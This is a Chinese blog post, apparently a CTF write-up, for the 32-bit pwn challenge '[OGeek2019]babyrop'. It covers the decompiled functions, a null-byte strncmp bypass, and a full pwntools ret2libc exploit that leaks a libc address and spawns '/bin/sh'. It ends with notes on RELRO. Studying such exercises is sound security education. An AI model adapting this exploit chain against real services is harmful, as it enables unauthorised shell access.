babyrop

环境

  • kali-2020.4,IDA

题目

[OGeek2019]babyrop

先使用checksec查一下

┌──(root💀kali)-[~/桌面/pwn]
└─# checksec --file pwn
[*] '/root/桌面/pwn/pwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO   
    Stack:    No canary found
    NX:       NX enabled  栈不可执行
    PIE:      No PIE (0x8048000)

发现开启了栈不可执行,这意味数据所在内存为不可执行,并且开启了full RELRO。
shift+F12查找字符串,并没有发现system等
看具体反编译结果

  • main
int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);   //从/dev/urandom获取随机数
  if ( fd > 0 )
    read(fd, &buf, 4u);  //读入4个字节到buf中
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}
  • sub_804871F
int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));  //字符数组置零
  memset(buf, 0, sizeof(buf)); //同上
  sprintf(s, "%ld", a1); //%ld 表示按 long int 格式 (有符号长整型数格式)输出
  v5 = read(0, buf, 0x20u); //输入一个字符串给buf
  buf[v5 - 1] = 0;
  v1 = strlen(buf); //使用'\0'绕过
  if ( strncmp(buf, s, v1) )  //比较
    exit(0);
  write(1, "Correct\n", 8u); 
  return (unsigned __int8)buf[7];  //返回值
}
  • sub_80487D0
ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )  //让条件不成立,
    result = read(0, buf, 0xC8u);
  else
    result = read(0, buf, a1);
  return result;
}

由上面三个函数,可以看出关键在于返回值,点击进入

-0000002C buf             db ?
-0000002B                 db ? ; undefined
-0000002A                 db ? ; undefined
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025 var_25          db ?

(unsigned __int8)buf[7]的位置在00000025(第八位),使用retl2ibc构造system("/bin/sh")函数,可以利用write函数作为中间跳板,通过动态共享库算出内存中system函数的地址,再用system函数的地址覆盖返回地址(write(1, "Correct\n", 8u))。

from pwn import *
from LibcSearcher import *

#r=remote('node3.buuoj.cn',28727)
r=process('./pwn1')
elf=ELF('./pwn1')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

#溢出控制返回值v5
payload1='\x00'+'a'*6+'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

#泄漏libc
payload='a'*0xe7+'b'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

#计算libc_base,system_addr,bin_sh_addr
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

#执行payload
r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

知识点

RELRO
  • RELRO(read only relocation)是一种用于加强对 binary 数据段的保护的技术,大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
  • RELRO 分为 partial RELRO 和 full RELRO。
类型 特点
partial RELRO 内数据段(internal data sections)(如.got,.dtors等)置于程序数据段(program’s data sections)(如.data和.bss)之前;无 plt 指向的GOT是只读的;GOT表可写;包含.dynamic段在内的一些段会标识为只读
full RELRO 支持Partial模式的所有功能;禁用延迟绑定;整个GOT表映射为只读的。
\xff

十六进制转义序列,对应的十进制ASCII码是255,在扩展ASCII中

参考

posted @ 2021-09-25 22:30  超级想睡觉  阅读(87)  评论(0)    收藏  举报